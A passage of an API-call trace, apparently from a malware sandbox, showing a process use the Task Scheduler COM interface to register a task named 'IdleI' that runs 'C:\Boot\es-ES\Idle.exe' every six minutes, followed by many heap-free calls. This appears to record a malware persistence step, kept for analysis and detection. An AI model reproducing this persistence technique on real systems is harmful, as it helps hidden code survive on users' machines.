[1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff121ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x17cbb0 | out: ppv=0x17cbb0*=0x267940) returned 0x0 [0133.714] TaskScheduler:ITaskService:Connect (This=0x267940, serverName=0x17cc90*(varType=0x8, wReserved1=0x17, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x17cc50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x17cc70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x17cc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0133.835] TaskScheduler:IUnknown:AddRef (This=0x267940) returned 0x2 [0133.835] TaskScheduler:ITaskService:GetFolder (in: This=0x267940, Path=0x0, ppFolder=0x17cd48 | out: ppFolder=0x17cd48*=0x267b70) returned 0x0 [0133.840] TaskScheduler:ITaskService:NewTask (in: This=0x267940, flags=0x0, ppDefinition=0x17cd40 | out: ppDefinition=0x17cd40*=0x267bc0) returned 0x0 [0133.841] ITaskDefinition:get_Actions (in: This=0x267bc0, ppActions=0x17ccc0 | out: ppActions=0x17ccc0*=0x267c80) returned 0x0 [0133.841] IActionCollection:Create (in: This=0x267c80, Type=0, ppAction=0x17cce0 | out: ppAction=0x17cce0*=0x266000) returned 0x0 [0133.841] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.841] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.841] lstrlenW (lpString=" ") returned 1 [0133.841] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0133.841] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0133.841] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0133.841] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0133.841] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0133.841] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0133.841] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0133.841] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x49) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0133.842] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0133.842] IUnknown:Release (This=0x266000) returned 0x1 [0133.842] IUnknown:Release (This=0x267c80) returned 0x1 [0133.842] ITaskDefinition:get_Triggers (in: This=0x267bc0, ppTriggers=0x17c840 | out: ppTriggers=0x17c840*=0x267dc0) returned 0x0 [0133.842] ITriggerCollection:Create (in: This=0x267dc0, Type=1, ppTrigger=0x17c838 | out: ppTrigger=0x17c838*=0x266070) returned 0x0 [0133.843] lstrlenW (lpString="6") returned 1 [0133.843] _vsnwprintf (in: _Buffer=0x17c7c0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x17c7b8 | out: _Buffer="PT6M") returned 4 [0133.843] ITrigger:get_Repetition (in: This=0x266070, ppRepeat=0x17c830 | out: ppRepeat=0x17c830*=0x266100) returned 0x0 [0133.843] IRepetitionPattern:put_Interval (This=0x266100, Interval="PT6M") returned 0x0 [0133.843] IUnknown:Release (This=0x266100) returned 0x1 [0133.843] _vsnwprintf (in: _Buffer=0x17c780, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x17c758 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0133.843] ITrigger:put_StartBoundary (This=0x266070, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0133.843] lstrlenW (lpString="") returned 0 [0133.844] lstrlenW (lpString="") returned 0 [0133.844] lstrlenW (lpString="") returned 0 [0133.844] lstrlenW (lpString="") returned 0 [0133.844] IUnknown:Release (This=0x266070) returned 0x1 [0133.844] IUnknown:Release (This=0x267dc0) returned 0x1 [0133.844] ITaskDefinition:get_Settings (in: This=0x267bc0, ppSettings=0x17cce0 | out: ppSettings=0x17cce0*=0x267e30) returned 0x0 [0133.844] lstrlenW (lpString="") returned 0 [0133.844] IUnknown:Release (This=0x267e30) returned 0x1 [0133.844] GetLocalTime (in: lpSystemTime=0x17cb98 | out: lpSystemTime=0x17cb98*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x39, wMilliseconds=0x2f0)) [0133.844] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0133.845] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0133.845] GetUserNameW (in: lpBuffer=0x17cbc0, pcbBuffer=0x17cba8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x17cba8) returned 1 [0133.845] ITaskDefinition:get_RegistrationInfo (in: This=0x267bc0, ppRegistrationInfo=0x17cb90 | out: ppRegistrationInfo=0x17cb90*=0x267d00) returned 0x0 [0133.846] IRegistrationInfo:put_Author (This=0x267d00, Author="") returned 0x0 [0133.846] _vsnwprintf (in: _Buffer=0x17cbc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x17cb58 | out: _Buffer="2022-08-06T02:18:57") returned 19 [0133.846] IRegistrationInfo:put_Date (This=0x267d00, Date="") returned 0x0 [0133.846] IUnknown:Release (This=0x267d00) returned 0x1 [0133.846] malloc (_Size=0x18) returned 0x267b20 [0133.846] free (_Block=0x267b20) [0133.846] lstrlenW (lpString="") returned 0 [0133.847] malloc (_Size=0x18) returned 0x267b20 [0133.847] ITaskFolder:RegisterTaskDefinition (in: This=0x267b70, Path="IdleI", pDefinition=0x267bc0, flags=6, UserId=0x17ce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x17ce70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x17ed40, varVal2=0xfe), LogonType=3, sddl=0x17ce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x17cd50 | out: ppTask=0x17cd50*=0x266180) returned 0x0 [0134.217] free (_Block=0x267b20) [0134.218] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.218] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0134.218] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0134.218] GetProcessHeap () returned 0x2b0000 [0134.218] GetProcessHeap () returned 0x2b0000 [0134.218] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd590) returned 1 [0134.218] GetProcessHeap () returned 0x2b0000 [0134.218] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd590) returned 0xc [0134.218] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd590 | out: hHeap=0x2b0000) returned 1 [0134.218] GetProcessHeap () returned 0x2b0000 [0134.218] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x82) returned 0x2e98b0 [0134.218] _vsnwprintf (in: _Buffer=0x17d490, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x17ccf8 | out: _Buffer="SUCCESS: The scheduled task \"IdleI\" has successfully been created.\n") returned 67 [0134.218] _fileno (_File=0x7fefed02ab0) returned -2 [0134.218] _errno () returned 0x264bb0 [0134.218] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0134.218] SetLastError (dwErrCode=0x6) [0134.218] lstrlenW (lpString="SUCCESS: The scheduled task \"IdleI\" has successfully been created.\n") returned 67 [0134.219] GetConsoleOutputCP () returned 0x0 [0134.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"IdleI\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0134.219] GetConsoleOutputCP () returned 0x0 [0134.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"IdleI\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0xff161880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"IdleI\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 67 [0134.219] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 67 [0134.219] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0134.219] IUnknown:Release (This=0x266180) returned 0x0 [0134.220] TaskScheduler:IUnknown:Release (This=0x267bc0) returned 0x0 [0134.220] TaskScheduler:IUnknown:Release (This=0x267b70) returned 0x0 [0134.220] TaskScheduler:IUnknown:Release (This=0x267940) returned 0x1 [0134.220] lstrlenW (lpString="") returned 0 [0134.220] lstrlenW (lpString="6") returned 1 [0134.220] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0134.220] GetProcessHeap () returned 0x2b0000 [0134.220] GetProcessHeap () returned 0x2b0000 [0134.220] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc200) returned 1 [0134.220] GetProcessHeap () returned 0x2b0000 [0134.220] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc200) returned 0x1fc [0134.220] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc200 | out: hHeap=0x2b0000) returned 1 [0134.220] GetProcessHeap () returned 0x2b0000 [0134.220] GetProcessHeap () returned 0x2b0000 [0134.220] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb940) returned 1 [0134.220] GetProcessHeap () returned 0x2b0000 [0134.220] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cb940) returned 0x4 [0134.221] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb940 | out: hHeap=0x2b0000) returned 1 [0134.221] GetProcessHeap () returned 0x2b0000 [0134.221] GetProcessHeap () returned 0x2b0000 [0134.221] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd470) returned 1 [0134.221] GetProcessHeap () returned 0x2b0000 [0134.221] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd470) returned 0x16 [0134.221] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd470 | out: hHeap=0x2b0000) returned 1 [0134.221] GetProcessHeap () returned 0x2b0000 [0134.221] GetProcessHeap () returned 0x2b0000 [0134.221] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd490) returned 1 [0134.221] GetProcessHeap () returned 0x2b0000 [0134.221] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd490) returned 0x18 [0134.221] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd490 | out: hHeap=0x2b0000) returned 1 [0134.221] GetProcessHeap () returned 0x2b0000 [0134.221] GetProcessHeap () returned 0x2b0000 [0134.221] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd00) returned 1 [0134.221] GetProcessHeap () returned 0x2b0000 [0134.221] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd00) returned 0x20 [0134.221] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd00 | out: hHeap=0x2b0000) returned 1 [0134.221] GetProcessHeap () returned 0x2b0000 [0134.222] GetProcessHeap () returned 0x2b0000 [0134.222] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbfa0) returned 1 [0134.222] GetProcessHeap () returned 0x2b0000 [0134.222] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbfa0) returned 0xa0 [0134.222] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbfa0 | out: hHeap=0x2b0000) returned 1 [0134.222] GetProcessHeap () returned 0x2b0000 [0134.222] GetProcessHeap () returned 0x2b0000 [0134.222] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba20) returned 1 [0134.222] GetProcessHeap () returned 0x2b0000 [0134.222] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cba20) returned 0x18 [0134.222] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba20 | out: hHeap=0x2b0000) returned 1 [0134.222] GetProcessHeap () returned 0x2b0000 [0134.222] GetProcessHeap () returned 0x2b0000 [0134.222] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccac0) returned 1 [0134.222] GetProcessHeap () returned 0x2b0000 [0134.222] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccac0) returned 0x20 [0134.223] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccac0 | out: hHeap=0x2b0000) returned 1 [0134.223] GetProcessHeap () returned 0x2b0000 [0134.223] GetProcessHeap () returned 0x2b0000 [0134.223] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7ac0) returned 1 [0134.223] GetProcessHeap () returned 0x2b0000 [0134.223] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c7ac0) returned 0x32 [0134.223] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7ac0 | out: hHeap=0x2b0000) returned 1 [0134.223] GetProcessHeap () returned 0x2b0000 [0134.223] GetProcessHeap () returned 0x2b0000 [0134.223] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd510) returned 1 [0134.223] GetProcessHeap () returned 0x2b0000 [0134.223] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd510) returned 0x18 [0134.223] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd510 | out: hHeap=0x2b0000) returned 1 [0134.223] GetProcessHeap () returned 0x2b0000 [0134.224] GetProcessHeap () returned 0x2b0000 [0134.224] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cca90) returned 1 [0134.224] GetProcessHeap () returned 0x2b0000 [0134.224] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cca90) returned 0x20 [0134.224] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cca90 | out: hHeap=0x2b0000) returned 1 [0134.224] GetProcessHeap () returned 0x2b0000 [0134.224] GetProcessHeap () returned 0x2b0000 [0134.224] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7a40) returned 1 [0134.224] GetProcessHeap () returned 0x2b0000 [0134.224] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c7a40) returned 0x34 [0134.224] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7a40 | out: hHeap=0x2b0000) returned 1 [0134.224] GetProcessHeap () returned 0x2b0000 [0134.224] GetProcessHeap () returned 0x2b0000 [0134.224] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd4f0) returned 1 [0134.224] GetProcessHeap () returned 0x2b0000 [0134.224] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd4f0) returned 0x18 [0134.225] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd4f0 | out: hHeap=0x2b0000) returned 1 [0134.225] GetProcessHeap () returned 0x2b0000 [0134.225] GetProcessHeap () returned 0x2b0000 [0134.225] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cca60) returned 1 [0134.225] GetProcessHeap () returned 0x2b0000 [0134.225] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cca60) returned 0x20 [0134.225] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cca60 | out: hHeap=0x2b0000) returned 1 [0134.225] GetProcessHeap () returned 0x2b0000 [0134.225] GetProcessHeap () returned 0x2b0000 [0134.225] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd4d0) returned 1 [0134.225] GetProcessHeap () returned 0x2b0000 [0134.225] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd4d0) returned 0xe [0134.225] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd4d0 | out: hHeap=0x2b0000) returned 1 [0134.225] GetProcessHeap () returned 0x2b0000 [0134.225] GetProcessHeap () returned 0x2b0000 [0134.225] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd4b0) returned 1 [0134.225] GetProcessHeap () returned 0x2b0000 [0134.225] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd4b0) returned 0x18 [0134.225] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd4b0 | out: hHeap=0x2b0000) returned 1 [0134.225] GetProcessHeap () returned 0x2b0000 [0134.225] GetProcessHeap () returned 0x2b0000 [0134.225] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5d00) returned 1 [0134.225] GetProcessHeap () returned 0x2b0000 [0134.225] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5d00) returned 0x20 [0134.226] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5d00 | out: hHeap=0x2b0000) returned 1 [0134.226] GetProcessHeap () returned 0x2b0000 [0134.226] GetProcessHeap () returned 0x2b0000 [0134.226] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbba0) returned 1 [0134.226] GetProcessHeap () returned 0x2b0000 [0134.226] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbba0) returned 0x208 [0134.226] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbba0 | out: hHeap=0x2b0000) returned 1 [0134.226] GetProcessHeap () returned 0x2b0000 [0134.226] GetProcessHeap () returned 0x2b0000 [0134.226] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba00) returned 1 [0134.226] GetProcessHeap () returned 0x2b0000 [0134.226] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cba00) returned 0x18 [0134.226] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba00 | out: hHeap=0x2b0000) returned 1 [0134.226] GetProcessHeap () returned 0x2b0000 [0134.226] GetProcessHeap () returned 0x2b0000 [0134.226] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c10) returned 1 [0134.226] GetProcessHeap () returned 0x2b0000 [0134.226] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5c10) returned 0x20 [0134.227] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c10 | out: hHeap=0x2b0000) returned 1 [0134.227] GetProcessHeap () returned 0x2b0000 [0134.227] GetProcessHeap () returned 0x2b0000 [0134.227] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd230) returned 1 [0134.227] GetProcessHeap () returned 0x2b0000 [0134.227] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd230) returned 0x200 [0134.227] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd230 | out: hHeap=0x2b0000) returned 1 [0134.227] GetProcessHeap () returned 0x2b0000 [0134.227] GetProcessHeap () returned 0x2b0000 [0134.227] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba40) returned 1 [0134.227] GetProcessHeap () returned 0x2b0000 [0134.227] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cba40) returned 0x18 [0134.227] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba40 | out: hHeap=0x2b0000) returned 1 [0134.227] GetProcessHeap () returned 0x2b0000 [0134.227] GetProcessHeap () returned 0x2b0000 [0134.227] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b80) returned 1 [0134.228] GetProcessHeap () returned 0x2b0000 [0134.228] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5b80) returned 0x20 [0134.228] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b80 | out: hHeap=0x2b0000) returned 1 [0134.228] GetProcessHeap () returned 0x2b0000 [0134.228] GetProcessHeap () returned 0x2b0000 [0134.228] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc1b0) returned 1 [0134.228] GetProcessHeap () returned 0x2b0000 [0134.228] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc1b0) returned 0x14 [0134.228] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc1b0 | out: hHeap=0x2b0000) returned 1 [0134.228] GetProcessHeap () returned 0x2b0000 [0134.228] GetProcessHeap () returned 0x2b0000 [0134.228] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc190) returned 1 [0134.228] GetProcessHeap () returned 0x2b0000 [0134.228] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc190) returned 0x18 [0134.228] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc190 | out: hHeap=0x2b0000) returned 1 [0134.228] GetProcessHeap () returned 0x2b0000 [0134.228] GetProcessHeap () returned 0x2b0000 [0134.228] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5ac0) returned 1 [0134.228] GetProcessHeap () returned 0x2b0000 [0134.228] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5ac0) returned 0x20 [0134.229] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5ac0 | out: hHeap=0x2b0000) returned 1 [0134.229] GetProcessHeap () returned 0x2b0000 [0134.229] GetProcessHeap () returned 0x2b0000 [0134.229] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc1d0) returned 1 [0134.229] GetProcessHeap () returned 0x2b0000 [0134.229] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc1d0) returned 0x16 [0134.229] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc1d0 | out: hHeap=0x2b0000) returned 1 [0134.229] GetProcessHeap () returned 0x2b0000 [0134.229] GetProcessHeap () returned 0x2b0000 [0134.229] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc150) returned 1 [0134.229] GetProcessHeap () returned 0x2b0000 [0134.229] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc150) returned 0x18 [0134.229] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc150 | out: hHeap=0x2b0000) returned 1 [0134.229] GetProcessHeap () returned 0x2b0000 [0134.229] GetProcessHeap () returned 0x2b0000 [0134.229] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a90) returned 1 [0134.229] GetProcessHeap () returned 0x2b0000 [0134.229] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5a90) returned 0x20 [0134.230] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a90 | out: hHeap=0x2b0000) returned 1 [0134.230] GetProcessHeap () returned 0x2b0000 [0134.230] GetProcessHeap () returned 0x2b0000 [0134.230] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb980) returned 1 [0134.230] GetProcessHeap () returned 0x2b0000 [0134.230] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cb980) returned 0x2 [0134.230] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb980 | out: hHeap=0x2b0000) returned 1 [0134.230] GetProcessHeap () returned 0x2b0000 [0134.230] GetProcessHeap () returned 0x2b0000 [0134.230] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c58e0) returned 1 [0134.230] GetProcessHeap () returned 0x2b0000 [0134.230] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c58e0) returned 0x20 [0134.230] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c58e0 | out: hHeap=0x2b0000) returned 1 [0134.231] GetProcessHeap () returned 0x2b0000 [0134.231] GetProcessHeap () returned 0x2b0000 [0134.231] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5910) returned 1 [0134.231] GetProcessHeap () returned 0x2b0000 [0134.231] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5910) returned 0x20 [0134.231] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5910 | out: hHeap=0x2b0000) returned 1 [0134.231] GetProcessHeap () returned 0x2b0000 [0134.231] GetProcessHeap () returned 0x2b0000 [0134.231] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5940) returned 1 [0134.231] GetProcessHeap () returned 0x2b0000 [0134.231] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5940) returned 0x20 [0134.231] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5940 | out: hHeap=0x2b0000) returned 1 [0134.232] GetProcessHeap () returned 0x2b0000 [0134.232] GetProcessHeap () returned 0x2b0000 [0134.232] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5970) returned 1 [0134.232] GetProcessHeap () returned 0x2b0000 [0134.232] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5970) returned 0x20 [0134.232] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5970 | out: hHeap=0x2b0000) returned 1 [0134.232] GetProcessHeap () returned 0x2b0000 [0134.232] GetProcessHeap () returned 0x2b0000 [0134.232] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccaf0) returned 1 [0134.232] GetProcessHeap () returned 0x2b0000 [0134.232] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccaf0) returned 0x20 [0134.232] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccaf0 | out: hHeap=0x2b0000) returned 1 [0134.232] GetProcessHeap () returned 0x2b0000 [0134.232] GetProcessHeap () returned 0x2b0000 [0134.232] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd610) returned 1 [0134.232] GetProcessHeap () returned 0x2b0000 [0134.232] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd610) returned 0xe [0134.233] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd610 | out: hHeap=0x2b0000) returned 1 [0134.233] GetProcessHeap () returned 0x2b0000 [0134.233] GetProcessHeap () returned 0x2b0000 [0134.233] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb20) returned 1 